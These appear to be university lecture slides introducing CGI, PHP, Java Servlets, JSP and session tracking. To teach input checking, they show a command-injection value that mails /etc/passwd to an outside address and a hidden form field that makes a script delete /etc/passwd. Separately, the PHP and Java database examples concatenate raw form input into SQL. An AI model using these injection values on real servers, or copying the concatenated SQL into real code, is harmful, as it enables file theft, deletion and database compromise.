
Server-side Technologies
CGI, PHP, Java Servlets, JSP

Denis Helic

Server-side Technologies: Historical Background(1/3)

- Server-side = Web server side
- At the beginning the Web was a static information system
- Web servers served documents, images, etc.
- Static information stored on the server side (file system)
- No interaction between users and the Web (except browsing)

Server-side Technologies: Historical Background(2/3)

- ▶ There was a need for more interaction between users and the system (e.g. phone books)
- ▶ HTML forms
- ▶ Server needed to respond differently depending on values submitted by users
- ▶ Dynamic response by server

Server-side Technologies: Historical Background(3/3)

- ▶ Need to extend the functionality of Web servers
- ▶ Don't add the new functionality into Web servers directly
 - ▶ Just allow Web servers to communicate with external programs
- ▶ External programs generate dynamic content depending on values submitted by HTML form
- ▶ Dynamic content forwarded to Web server
- ▶ Web server responds with dynamic content

Server-side Technologies: Today

- ▶ More than just evaluating of HTML forms
- ▶ Dynamic content needed for:
 - ▶ Sophisticated user interaction (e.g. search engines, shopping carts)
 - ▶ Content changes often (e.g. weather forecast, news headlines)
 - ▶ Web gateways to database-based applications (e.g. prices of products, online ticket reservations)

Communication between Web server and external programs

- ▶ How should Web server communicate with external programs?
 - ▶ Passing parameters, getting response, etc.
- ▶ Standardized communication mechanism
- ▶ Standard created by Web consortium

Common Gateway Interface (CGI)

- ▶ CGI is a specification of communication between Web server and external programs
- ▶ Current version CGI 1.1
`http://hoohoo.ncsa.uiuc.edu/cgi/interface.html`
- ▶ Very general approach, can be applied for different applications
 - ▶ Not only HTML form evaluation
- ▶ Web server must implement CGI specification
 - ▶ All major Web servers do! (e.g. Apache, IIS, etc.)

- ▶ Environment variables
 - ▶ System specific variables set by Web server
 - ▶ External program reads environment variables and obtains data about client request
 - ▶ `CONTENT_LENGTH`, `CONTENT_TYPE`, `REMOTE_ADDR`, `REMOTE_HOST`, etc.
- ▶ Command line
 - ▶ Using a special HTML tag user sends a command line to the server
 - ▶ Command line executed on the server

- ▶ Standard Input
 - ▶ Used by the server to send client data to external program
- ▶ Standard Output
 - ▶ Used by external program to send response to the server (write HTML to standard output)

- ▶ HTTP method used by the client: GET or POST
- ▶ GET method: external program reads environment variables
 - ▶ **QUERY_STRING** special environment variable containing data submitted by user (e.g. HTML form data)
- ▶ POST method: external program reads from standard input
 - ▶ External program needs to parse the input

- ▶ CGI specification allows external programs to be written in any programming language
 - ▶ UNIX shell scripts, Perl scripts, C programs, C++ programs
 - ▶ Even PHP as CGI or Java as CGI

- ▶ Example 1:
- ▶ Hello World: CGI as UNIX shell script
 - ▶ GET method, no parameters from client
 - ▶ Write HTML to **stdout**

```
#!/bin/sh
# send http-header and a newline afterwards:
echo "Content-Type: text/html"
echo ""
```

▶ Example 1 (continued):

```
# send html content:
echo "<HTML>"
echo "  <HEAD>"
echo "    <TITLE>Hello World CGI</TITLE>"
echo "  </HEAD>"
echo "  <BODY>"
echo "    Hello World ("
date "+%T, %d.%m.%Y"
echo "  )"
echo "  </BODY>"
echo "</HTML>"
```

▶ Example:

```
http://coronet.iicm.edu:8080/cgi-bin/mmis/hello_world.sh
```

- ▶ Example 2:
- ▶ Dump environment variables: CGI as Perl script
 - ▶ GET method, no parameters from client
 - ▶ Write HTML to **stdout**

```
#!/usr/bin/perl
```

```
require "cgi-lib.pl";
```

```
print &PrintHeader;
```

```
print "<hr>";
```

```
print &PrintEnv;
```

▶ Example 2 (continued):

▶ Example:

`http://coronet.iicm.edu:8080/cgi-bin/mmis/printenv.pl`

▶ Special CGI library in Perl: `cgi-lib`

▶ Provides functions for parsing input, parsing parameters, writing headers, etc.

▶ `cgi-lib` homepage: `http://cgi-lib.berkeley.edu/`

- ▶ Example 3:
- ▶ Dump **QUERY_STRING**: CGI as Perl script
 - ▶ GET method, with parameters from client
 - ▶ Write HTML to **stdout**
- ▶ Parameters encoded in Url:
`http://coronet.iicm.edu:8080/cgi-bin/mmis/printenv.pl?action=search&sourceid=google&q=query`
- ▶ Parameters forwarded as an environment variable (**QUERY_STRING**) to program
 - ▶ special characters encoded by `%'` and ASCII-value (hex)
 - ▶ restricted to 1024 bytes!

- ▶ Example 4:
- ▶ Evaluate HTML forms: CGI as Perl script
 - ▶ POST method, with parameters from client, read from **stdin**
 - ▶ Write HTML to **stdout**

```
#!/usr/bin/perl
```

```
require "cgi-lib.pl";
```

```
if (&ReadParse) {  
    print &PrintHeader, &PrintVariables;  
} else {  
    print &PrintHeader, '<form><input type="submit">  
    Data: <input name="myfield">';  
}
```

▶ Example 4 (continued):

▶ Example:

<http://coronet.iicm.edu:8080/mmis/examples/cgi/form.html>

```
<form action ="/cgi-bin/mmis/handle_form.pl"  
  method = "POST" enctype= "multipart/form-data">
```

▶ Another CGI example:

<http://www-scf.usc.edu/~csci351/Special/CGIinC/examples.html>

- ▶ Long list of different applications:
 - ▶ Simple: Hit counters, current date, etc.
 - ▶ Handling HTML forms, search engines, imagemaps, databases
 - ▶ WWW gateways!

- ▶ Finger gateway:
`http://coronet.iicm.edu:8080/cgi-bin/mmis/finger.pl`
- ▶ Source:
`http://coronet.iicm.edu:8080/mmis/examples/cgi/finger.pl`
- ▶ Mail gateway:
`http://coronet.iicm.edu:8080/cgi-bin/mmis/mailto.pl`
- ▶ Source:
`http://coronet.iicm.edu:8080/mmis/examples/cgi/mailto.pl`

- ▶ Check parameters carefully!!!

```
if($email =~ /^[^a-zA-Z0-9_\-\.@]/){
    $_ = "The email address should be of
    the form <i>user\@server</i>!";
}else{
    $_ = qx($finger $email);
}
```

- ▶ Suppose this e-mail address:

```
something ; mail bad@address.com < /etc/passwd
```

- ▶ Basically you let other people start programs on the server
 - ▶ Check what they want to do on your server!!!
- ▶ Not only CGI! (PHP, Java Servlets, etc.)

- ▶ Larry Wall: Practical Extraction and Reporting Language
- ▶ String manipulations, regular expressions
- ▶ Very powerful
- ▶ Strange syntax :-) (e.g. `1 while s/[() [^()] *[]]//;`)
- ▶ Tutorials about perl/cgi:
 - ▶ Chapter about CGI in SelfHTML:
`http://courses.iicm.edu/mmis/selfhtml80/cgiperl/index.htm`
 - ▶ `http://www.comp.leeds.ac.uk/nik/Cgi/start.html`

PHP: Hypertext Preprocessor

- ▶ `http://www.php.net`
(NOT `http://www.php.com` = *Parents helping Parents* :-))
- ▶ General purpose scripting language, especially suited for Web development
- ▶ PHP script can be embedded into HTML documents
- ▶ PHP script is interpreted on a Web server
 - ▶ PHP interpreter used as a CGI-program
 - ▶ PHP interpreter as a plug-in of a web-server (e.g. Apache module)

- ▶ Embed PHP script into an HTML file
- ▶ Upload the file onto a Web server using extension *.php*
- ▶ Embedding PHP in HTML:
 - ▶ `<? ... ?>`
 - ▶ `<?php ... ?>`
 - ▶ `<script language="php" > ... </script>`
 - ▶ `<% ... %>`

Example:

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Hello World</title>
<meta http-equiv = "Content-type" content = "text/html; charset=iso-8859-1">
<link rel = "stylesheet" type = "text/css" href = "style.css">
</head>
<body>
<?
    echo "Hello World! ";
    echo "(";
    echo date ("l dS of F Y h:i:s A");
    echo ")";
?>
</body>
</html>
```

▶ Example:

```
http://coronet.iicm.edu:8080/mmis/examples/php/hello/  
hello.php
```

▶ Source:

```
http://coronet.iicm.edu:8080/mmis/examples/php/hello/  
hello.php
```

- ▶ PHP syntax close to C and Java
 - ▶ Object-oriented approach
 - ▶ Control structures
 - ▶ Weakly-typed variables (prefix '\$')
 - ▶ Operators, etc.

- ▶ Wide range of applications (similar to CGI)
 - ▶ Forms handling, etc.
- ▶ Wide range of PHP libraries
 - ▶ Network connectivity (e.g. access FTP, IMAP, SMTP, etc.)
TU Webmail: <https://sbox.tugraz.at/>
 - ▶ Socket programming
 - ▶ Database connectivity (e.g. MySQL, dBase, Oracle, etc.)
 - ▶ XML/XSLT manipulation
 - ▶ Image manipulation

▶ PHP interpreter initializes variables corresponding to form fields

```
<form action ="/mmis/examples/php/env_vars/printvar.php"
method="GET" enctype= "multipart/form-data">
```

Name:

```
<input type = "text" name = "name" size = "20" maxlength = "50">
```

Second Name:

```
<input type = "text" name = "second_name" size = "20"
maxlength = "50">
```

Matrikel Number:

```
<input type = "text" name = "nr" size = "20" maxlength = "50">
```

...

```
<input type = "submit" value = "Register">
```

```
</form>
```

- ▶ PHP form variables: Alternative 1
- ▶ PHP variables have same names as form fields
 - ▶ `$name` for name, `$nr` for nr, etc.

```
<?php
echo "<table>\n";
echo "<caption>Variables</caption>\n";
echo "<tr><th>Key</th><th>Value</th></tr>\n";
echo "<tr><td>Name</td><td>$name</td></tr>\n";
echo "<tr><td>Second Name</td><td>$second_name</td></tr>\n";
echo "<tr><td>Matrikel Number</td><td>$nr</td></tr>\n";
echo "<tr><td>Study Field</td><td>$study_field</td></tr>\n";
echo "</table>\n";
?>
```

- ▶ Example with GET:
`http://coronet.iicm.edu:8080/mmis/examples/php/env_vars/var_get.html`
- ▶ Example with POST:
`http://coronet.iicm.edu:8080/mmis/examples/php/env_vars/var_post.html`
- ▶ Example PHP:
`http://coronet.iicm.edu:8080/mmis/examples/php/env_vars/printvar.php`
- ▶ Source PHP:
`http://coronet.iicm.edu:8080/mmis/examples/php/env_vars/printvar.phps`

- ▶ PHP form variables: Alternative 2
- ▶ Access form fields through PHP array
 - ▶ `$HTTP_POST_VARS` for POST method
 - ▶ `$HTTP_GET_VARS` for GET method

```
$name = $HTTP_POST_VARS["name"];
```

```
...
```

```
$name = $HTTP_GET_VARS["name"];
```

- ▶ PHP form variables: Alternative 3
- ▶ Access form fields through PHP array
 - ▶ `$_POST` for POST method (`>=PHP4.1.0`)
 - ▶ `$_GET` for GET method (`>=PHP4.1.0`)

```
$name = $_POST["name"];
```

```
...
```

```
$name = $_GET["name"];
```

- ▶ Handling forms: Security issues
- ▶ Similar problems like with CGI
- ▶ We need to check parameters sent by users very carefully!!!
- ▶ PHP form variables: Alternative 1
 - ▶ Has a lot of security issues, since variables are globally defined

 Example of security problem with global form variables

```
$tempfile = "12345.tmp";
```

```
... handle form variables ...
```

```
... do something with tempfile ...
```

```
unlink($tempfile);
```

▶ Example of security problem with global form variables (continued)

▶ Suppose a following HTML form:

```
<input type = "hidden" name = "tempfile" value = "/etc/passwd">
```

▶ php.ini: **register_globals=Off!!!**

▶ **>=PHP4.2.0** by default off

▶ Use **\$HTTP_POST_VARS** or **\$_POST** instead

PHP: Database Manipulation(1/5)

- ▶ Huge advantage of PHP: great support for database connectivity
 - ▶ Adabas-D, mSQL, MySQL, Oracle, Postgres, Slid, Sybase/Sybase-CT, Velocis, dBase-Files, filePro-Dateien, ODBC, ...)
- ▶ Most notably: PHP/MySQL
- ▶ Advanced features: Persistent database connections
 - ▶ Huge advantage over CGI for example!

PHP: Database Manipulation(2/5)

▶ Example: Inserting and retrieving data from MySQL database

▶ Form:

`http://coronet.iicm.edu:8080/mmis/examples/php/mysql/
form.html`

PHP: Database Manipulation(3/5)

```
<?php
$name = $_HTTP_POST_VARS["name"];
$second_name = $_HTTP_POST_VARS["second_name"];
$nr = $_HTTP_POST_VARS["nr"];
$study_field = $_HTTP_POST_VARS["study_field"];
...
mysql_connect() or die("Unable to connect to database server");
@mysql_select_db("$dbname") or die("Unable to select database")
...
$query = "INSERT INTO $tablename VALUES ('$name',
    '$second_name', '$nr', '$study_field', 'null')";
$result = mysql_query($query) or die (mysql_error());
...
mysql_close();
?>
```


PHP: Database Manipulation(4/5)

- ▶ Inserting data with PHP (source):
`http://coronet.iicm.edu:8080/mmis/examples/php/mysql/register.phps`
- ▶ Retrieving data with PHP:
`http://coronet.iicm.edu:8080/mmis/examples/php/mysql/get_registered.php`

PHP: Database Manipulation(5/5)

```
...
while($i < $rows){
    $name = mysql_result($result, $i, "name");
    $second_name = mysql_result($result, $i, "second_name");
    $nr = mysql_result($result, $i, "nr");
    $study_field = mysql_result($result, $i, "study_field");
    ...
    echo "<tr><td>$name</td><td>$second_name</td><td>$nr</td><td>";
    $i++;
}
...

```

 Retrieving data with PHP (source):

```
http://coronet.iicm.edu:8080/mmis/examples/php/mysql/
get_registered.phps
```

PHP: XML Manipulation(1/3)

- ▶ Additional PHP library for manipulating XML data
- ▶ PEAR library: <http://pear.php.net/>
- ▶ Packages for networking, scientific calculations, file system, databases, XML, XSLT, etc.
- ▶ **XML_Tree** one of the packages in the PEAR library

PHP: XML Manipulation(2/3)

```
header("Content-Type: text/xml");
include("XML/Tree.php");
$tree = new XML_Tree();
$root =& $tree->addRoot("Course");
...
while($i < $rows){
    $reg =& $root->addChild("registered");
    $student =& $reg->addChild("Student");
    $name = mysql_result($result, $i, "name");
    $student->addChild("name", $name);
    ...
    $i++;
}
...
$tree->dump();
```

PHP: XML Manipulation(3/3)

- ▶ Retrieving data (as XML) with PHP:
`http://coronet.iicm.edu:8080/mmis/examples/php/xml/get_registered.php`
- ▶ Retrieving data (as XML) with PHP (source):
`http://coronet.iicm.edu:8080/mmis/examples/php/xml/get_registered.phps`

PHP: Image Manipulation(1/3)

- ▶ Generate not only HTML, but digital images as well!
- ▶ PHP compiled with GD graphical library
- ▶ Standard installation comes with some GD version
- ▶ GD Library: <http://www.boutell.com/gd/>

PHP: Image Manipulation(2/3)

```
Header("Content-Type: image/png");
...
$im = ImageCreateTrueColor(400, 300);
...
ImageFill($im, 0, 0, $white);
...
ImageArc($im, 150, 150, $diameter, $diameter, $last_angle,
...
ImageFillToBorder($im, $mid_x, $mid_y, $black, $colors[$z]);
...
ImageFilledRectangle($im, 300, ($z - 1) * 30 + 10, 320,
    ($z - 1) * 30 + 20, $colors[$z]);
ImageString($im, 5, 330, ($z - 1) * 30 + 10, $fields[$z],
    $black);
ImagePNG($im);
```

PHP: Image Manipulation(3/3)

- ▶ Retrieving data (as PNG image) with PHP:
`http://coronet.iicm.edu:8080/mmis/examples/php/image/get_stats.php`
- ▶ Retrieving data (as PNG image) with PHP (source):
`http://coronet.iicm.edu:8080/mmis/examples/php/image/get_stats.phps`

- ▶ PHP Introductory Tutorial:
<http://www.php.net/tut.php>
- ▶ PHP/MySQL Tutorial:
<http://hotwired.lycos.com/webmonkey/programming/php/tutorials/tutorial4.html>
- ▶ PHP for beginners: <http://www.skyhome.de/php/>
- ▶ PHP4 - Webserver-Programmierung für Einsteiger (book):
<http://www.galileocomputing.de/openbook/php4/>
- ▶ Developer Resources
http://www.devshed.com/Server_Side/PHP
- ▶ Datenbank, MySQL und PHP:
<http://ffm.junetz.de/members/reeg/DSP/>
- ▶ SelfPHP:<http://www.selfphp.info/index.php>.








Java Servlets and Java Server Pages (JSP)

- ▶ Intro tutorial:
<http://www.apl.jhu.edu/~hall/java/Servlet-Tutorial/>
- ▶ Book: Marty Hall, Core Servlets and JavaServer Pages, Sun Press/Pren-
tice Hall (<http://www.coreservlets.com>)
- ▶ Java servlets: server side Java applications
- ▶ Java server pages: Java code mixed into HTML
- ▶ Java applets: **client**-side applications

- ▶ Java technology's answer to CGI programming
- ▶ Java programs that run on a Web server
 - ▶ Java servlet engine (container)
- ▶ Official Reference Implementation: Apache Tomcat
`http://jakarta.apache.org/tomcat/index.html`
 - ▶ Current version: 5.5.4




Java Servlets: Advantages(1/4)

Efficient

-  With traditional CGI: for each request a new OS process is started
-  Java VM, servlet container, and a particular servlet started only once: each request handled by a Java thread
-  Lightweight Java threads instead of heavyweight OS processes
-  With CGI: if N simultaneous requests than the code is loaded N times
-  With servlets: N threads but only one copy of code in the memory
-  Optimization possibilities with servlets: caching, keeping database connections open, etc.
-  answer from CGI: Fast-CGI (<http://www.fastcgi.com>)

Java Servlets: Advantages(2/4)

Convinient

-  If you already know Java (most probabaly you do ;))
-  Huge Java software libraries
-  Libraries for handling cookies, sessions, etc.

Java Servlets: Advantages(3/4)

- ▶ Powerful
 - ▶ Java servlets can talk directly to the Web server (e.g. lookup for images stored in standard places)
 - ▶ Servlets can share data among each other (e.g. database connection pools)
 - ▶ Maintain information from request to request (e.g. session tracking, caching)

Java Servlets: Advantages(4/4)

- ▶ Portable
 - ▶ Written in Java with a standardized API
 - ▶ Servlets written for Microsoft IIS will run on Apache and other Web servers
 - ▶ All major Web servers support servlets (directly or via a plug-in)

Installing Servlet Container(1/3)

- ▶ Servlet Container

- ▶ Tomcat

- <http://jakarta.apache.org/tomcat/index.html>

- ▶ Apache software foundation

- <http://www.apache.org>

- ▶ for others see

- <http://www.apl.jhu.edu/~hall/java/Servlet-Tutorial/Servlet-Tutorial-Setup.html>

Installing Servlet Container(2/3)

installation tomcat

```
# installation in verzeichnis '/foo'  
cd /foo  
unzip <path-to-tomcat-archive>/jakarta-tomcat-4.1.12.zip  
cd jakarta-tomcat-4.1.12
```

```
# start tomcat:  
bin/startup.sh
```

```
# stop tomcat:  
bin/shutdown.sh
```

 tomcat: <http://localhost:8080> or <http://<hostname>:8080>

Installing Servlet Container(3/3)

- ▶ Windows installation with Windows installer
 - ▶ Installed as a Windows service
- ▶ Connecting with a Web server (e.g. Apache)
 - ▶ Install a Web connector:
`http://jakarta.apache.org/tomcat/tomcat-4.1-doc/config/connectors.html`
 - ▶ Configure Web server
 - ▶ Set URL prefixes which will be passed to Tomcat

- ▶ Java class extending abstract class
`javax.servlet.http.HttpServlet`
- ▶ Implement `public void doGet(request, response)` to handle HTTP GET method
- ▶ Other methods (need not be implemented)
e.g. `public void doPost(request, response)`

 servlet template:

```
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class SomeServlet extends HttpServlet {
    public void doGet(HttpServletRequest request,
                      HttpServletResponse response)
        throws ServletException, IOException {

        // Use "request" to read incoming HTTP headers (e.g. cookies)
        // and HTML form data (e.g. data the user entered and submitted)

        // Use "response" to specify the HTTP response line and headers
        // (e.g. specifying the content type, setting cookies).

        PrintWriter out = response.getWriter();
        // Use "out" to send content to browser
    }
}
```

Example: Hello World!

```
...
public void doGet(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException{
    String hello = "Hello World";
    response.setContentType("text/html");
    PrintWriter writer = response.getWriter();
    writer.println("<html>");
    writer.println("\t<head>");
    writer.println(
        "\t\t<link rel = \"stylesheet\" type = \"text/css\" href = \"style.css\"");
    writer.println("\t\t<title>" + hello + "</title>");
    writer.println("\t</head>");
    writer.println("\t<body>");
    writer.println(hello + " (" + (new Date()) + ")");
    writer.println("\t</body>");
    writer.println("</html>");

}
...
```

Java Servlets: Hello World(2/5)

- ▶ Installing and running the HelloWorldServlet
- ▶ Tomcat web applications (in *webapp* directory)

```
| -mmis-servlets
|   |
|   | -WEB-INF
|   |   |
|   |   | -web.xml
|   |   |
|   |   | -lib
|   |   |   |
|   |   |   | -*.jar
|   |   |
|   |   | -classes
|   |   |   |
|   |   |   | -*.class
```

Java Servlets: Hello World(3/5)

 web.xml declares all servlets in a particular Web application

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE web-app PUBLIC
  "-//Sun Microsystems, Inc.//DTD Web Application 2.2//EN"
  "http://java.sun.com/j2ee/dtds/web-app_2_2.dtd">
<web-app>
  <servlet>
    <servlet-name>Hello World Servlet</servlet-name>
    <description>Hello World from a Java servlet</description>
    <servlet-class>mmis.hello.HelloWorldServlet</servlet-class>
  </servlet>
  ...
  <servlet-mapping>
    <servlet-name>Hello World Servlet</servlet-name>
    <url-pattern>HelloWorld</url-pattern>
  </servlet-mapping>
</web-app>
```

Java Servlets: Hello World(4/5)

 Hello World:

`http://coronet.iicm.edu/mmis-servlets/HelloWorld`

 Source code:

`http://coronet.iicm.edu/mmis/examples/java/hello/HelloWorldServlet.java`

Java Servlets: Hello World(5/5)

- ▶ Element Construction Set (Apache project)
<http://jakarta.apache.org/ecs/>
 - ▶ Supports generation of HTML and XML
 - ▶ No need for numerous *println* statements
 - ▶ Copy ecs.jar into lib directory!
- ▶ Hello World with ECS:
<http://coronet.iicm.edu/mmis-servlets/ECSHelloWorld>
- ▶ Source code:
<http://coronet.iicm.edu/mmis/examples/java/hello/ECSHelloWorldServlet.java>

Java Servlets: HTTP and Environment Variables(1/2)

- ▶ Similar communication mechanism between a Java servlet and the Web server
- ▶ All communication wrapped in a high-level Java objects (e.g. `HttpServletRequest`)

```
request.getRemoteAddr()  
request.getRemoteHost()  
request.getRemoteUser()
```

Java Servlets: HTTP and Environment Variables(2/2)

▶ CGI Variables:

`http://coronet.iicm.edu/mmis-servlets/CGIVar`

▶ Source code:

`http://coronet.iicm.edu/mmis/examples/java/env/CGIVarServlet.java`

▶ HTTP Headers:

`http://coronet.iicm.edu/mmis-servlets/Header`

▶ Source code:

`http://coronet.iicm.edu/mmis/examples/java/env/HeaderServlet.java`

Java Servlets: Handling Forms(1/2)

- ▶ All form parsing done automatically
- ▶ Invoke a method on the instance of `HttpServletRequest` class to obtain parameters

```
String name = request.getParameter("name");
```

Java Servlets: Handling Forms(2/2)

- ▶ Example with GET:
`http://coronet.iicm.edu/mmis/examples/java/form/form_get.html`
- ▶ Example with POST:
`http://coronet.iicm.edu/mmis/examples/java/form/form_post.html`
- ▶ Source code:
`http://coronet.iicm.edu/mmis/examples/java/form/FormServlet.java`

Java Servlets: Database Manipulation(1/5)

- ▶ Advantage of Java: great support for database connectivity
 - ▶ Similar to PHP
- ▶ Java Database Connectivity - JDBC
`http://java.sun.com/products/jdbc/index.html`
 - ▶ Drivers for many DBMS available
 - ▶ For MySQL copy `mysql-connector-java.jar` into lib directory
- ▶ Advanced features: Persistent database connections
 - ▶ Huge advantage over CGI!

Java Servlets: Database Manipulation(2/5)

▶ Example: Inserting and retrieving data from MySQL database

▶ Form for inserting data:

`http://coronet.iicm.edu/mmis/examples/java/mysql/form.html`

Java Servlets: Database Manipulation(3/5)

```
Connection connection = DriverManager.getConnection(
    "jdbc:mysql://" + dbms_host_ + "/" + dbms_db_,
    dbms_username_,
    dbms_password_);
Statement statement = connection.createStatement();
int row = statement.executeUpdate(
    "INSERT INTO " + dbms_db_table_ + " VALUES('" +
    name + "', '" + second_name + "', '" + nr + "', '" +
    study_field + "', 'null')");
```

 Inserting data with Java (source):

[http://coronet.iicm.edu/mmis/examples/java/mysql/
RegisterStudentServlet.java](http://coronet.iicm.edu/mmis/examples/java/mysql/RegisterStudentServlet.java)

Java Servlets: Database Manipulation(4/5)

Retrieving data with Java

```
Connection connection = DriverManager.getConnection(...);
Statement statement = connection.createStatement();
ResultSet result = statement.executeQuery(
    "SELECT * FROM " + dbms_db_table_);
...
while(result.next()){
    String name = result.getString("name");
    ...
    TR table_row = new TR(true);
    table_row.addElement((new TD(true)).addElement(name));
    ...
}
```

Java Servlets: Database Manipulation(5/5)

- ▶ Retrieving data with Java
`http://coronet.iicm.edu/mmis-servlets/Registration`
- ▶ Retrieving data with Java (source):
`http://coronet.iicm.edu/mmis/examples/java/mysql/RegistrationServlet.java`

Java Servlets: XML Manipulation(1/2)

 Java SE 1.4+ includes library for manipulating XML data

```
Element root = document.createElement("Course");  
document.appendChild(root);
```

...

```
Connection connection = DriverManager.getConnection(...);
```

```
Statement statement = connection.createStatement();
```

```
ResultSet result = statement.executeQuery("SELECT * FROM " + dbName);
```

```
while(result.next()){
```

```
    String name = result.getString("name");
```

```
    Element el_name = document.createElement("name");
```

```
    Text name_text = document.createTextNode(name);
```

```
    el_name.appendChild(name_text);
```

```
    student.appendChild(el_name);
```

```
}
```

Java Servlets: XML Manipulation(2/2)

- ▶ Retrieving data (as XML) with Java:
`http://coronet.iicm.edu/mmis-servlets/XMLRegistration`
- ▶ Retrieving data (as XML) with Java (source):
`http://coronet.iicm.edu/mmis/examples/java/mysql/XMLRegistrationServlet.java`

Java Servlets: Tutorials and Resources

- ▶ Java Servlets Introductory Tutorial:
<http://www.apl.jhu.edu/~hall/java/Servlet-Tutorial/>
- ▶ Book: Marty Hall, Core Servlets and JavaServer Pages, Sun Press/Prentice Hall (<http://www.coreservlets.com>)
- ▶ JDBC Tutorial:
<http://java.sun.com/docs/books/tutorial/jdbc/index.html>
- ▶ Developer Library (includes form multipart parser)
<http://www.servlets.com/cos/index.html>
- ▶ Developers Resources
<http://www.servlets.com/index.tea>

▶ Combine static HTML with Java Code

```
<HTML>
  <HEAD>
    <TITLE>JSP-Hello World</TITLE>
  </HEAD>
  <BODY>
    Static Hello World<BR>
    <% out.print("Dynamic Hello World :-)<br>"); %>
  </BODY>
</HTML>
```

▶ HelloWorld JSP:

<http://coronet.iicm.edu/mmis-servlets/jsp/helloworld.jsp>

Java Server Pages (JSP) - Internal

▶ JSP pages are converted to Java classes

▶ `<tomcat-dir>/work/localhost/helloworld$jsp.java`

▶ classname:
`helloworld$jsp:`

```
[...]
public void _jspService(HttpServletRequest request,
                        HttpServletResponse response)
    throws IOException, ServletException
{
    [...]
    response.setContentType("text/html;charset=8859_1");
    [...]
    out.write("<HTML>\r\n  <HEAD>\r\n
              <TITLE>JSP-Hello World</TITLE>\r\n
              </HEAD>\r\n  <BODY>\r\n");
    [...]
}
[...]
```


▶ JSP expression


▶ `<%= "Hello World
" %>`

▶ XML syntax: `<jsp:expression>`
`"HelloWorld
"`
`</jsp:expression>`

▶ JSP expression evaluated and printed out!

JSP Scriptlet

 `<% out.print("Hello World
"); %>`

 XML syntax: `<jsp:scriptlet>`
`out.print("HelloWorld
");`
`</jsp:scriptlet>`


 JSP scriptlet code is inserted into the service method and executed

Combining JSP scriptlet and JSP expression:

`<% String hello2 = "Hello World
"; %> <%= hello2 %>`

- ▶ JSP Declaration
 - ▶ `<%! private int access_count = 0; %>`
 - ▶ XML syntax: `<jsp:declaration>`
`privateintaccess_count=0`
`</jsp:declaration>`
 - ▶ JSP declaration code is inserted outside the service method

JSP Page Directive

 `<%@ page import = "java.util.*" %>`

 XML syntax: `<jsp:directive.page import="java.util.*" />`

 Directions to the servlet engine about general page setup

 import, session, buffer, mimeType, etc.

- ▶ JSP comments
- ▶ JSP Include Directive (includes other files at run-time)
- ▶ JSP Elements to handle Java Beans

- ▶ JSP predefined variables
 - ▶ request, response
 - ▶ out
 - ▶ session
 - ▶ config, pageContext

▶ Example:

`http://coronet.iicm.edu/mmis-servlets/jsp/example.jsp`

▶ Example:

`http://coronet.iicm.edu/mmis-servlets/jsp/example.jsp?
data=submitted`

▶ Source:

`http://coronet.iicm.edu/mmis-servlets/jsp/example.jsp.
txt`

Servlets, CGI, JSP, PHP, ... - Problems!(1/3)

- ▶ Common problems of all server-side generated Web applications
- ▶ Mixing of content and presentation
- ▶ Hard to decouple this in scripting languages
 - ▶ Script always embedded inside HTML code

Servlets, CGI, JSP, PHP, ... - Problems!(2/3)

- ▶ Servlets have this problem also
 - ▶ Presentation designer needs to program in Java
- ▶ Possible solution
 - ▶ Dump content as XML, apply XSLT

Servlets, CGI, JSP, PHP, ... - Problems!(3/3)

- ▶ Java Web Frameworks try to solve this problem
 - ▶ Cocoon (XML Publishing framework)
`http://xml.apache.org/cocoon/index.html`
 - ▶ Struts `http://jakarta.apache.org/struts/index.html`
- ▶ More on Java Web Frameworks in MMIS 2

Servlets, CGI, JSP, PHP, ... - What to take?

- ▶ Depends on application requirements (e.g. database connectivity, performance, etc.)
- ▶ Depends on know-how, taste, etc.
- ▶ Depends on how dynamic is Web application
 - ▶ Less dynamic content - JSP, PHP, etc.
 - ▶ Gateway to existing Java application (more dynamic content) - Java servlets

- ▶ HTTP is connection-less: one connection per request
- ▶ Information about user/session is lost whenever the connection is closed
- ▶ Often necessary to keep track about the session (e.g. online shop)

▶ Keep track with:

▶ Cookies

▶ Hidden form fields:

```
<INPUT type="HIDDEN" name="sessionInfo" value="username" >
```

▶ Url-rewriting:

e.g. `http://coronet.iicm.edu/mmis-servlets/Session;
jsessionid=34D53231C1140018A422F540E9379927`

- ▶ Cookies
- ▶ Strings sent from server to Web browser
- ▶ Stored on a client side database, files or in memory
- ▶ Sent back from browser to the Web server in HTTP-header

- ▶ Used to store the state of communication between a client and the server
- ▶ Server sets the read rights for a cookie (i.e. who can read the cookie)
- ▶ Commercial sites use cookies to create user profiles (e.g. Ad-ware)
- ▶ Possible to switch off (by request, none at all, ...)

- ▶ High level interfaces in PHP, Java Servlets API
- ▶ Java servlets API manages sessions with cookies or url rewriting
 - ▶ Transparent to programmer
- ▶ Session example:
`http://coronet.iicm.edu/mmis-servlets/Session`
- ▶ Session example (source):
`http://coronet.iicm.edu/mmis/examples/java/session/
SessionServlet.java`

Distributed Programming on the Web

- ▶ Very hot topic right now
- ▶ .NET from Microsoft
- ▶ Web services
 - ▶ More on Web services in MMIS 2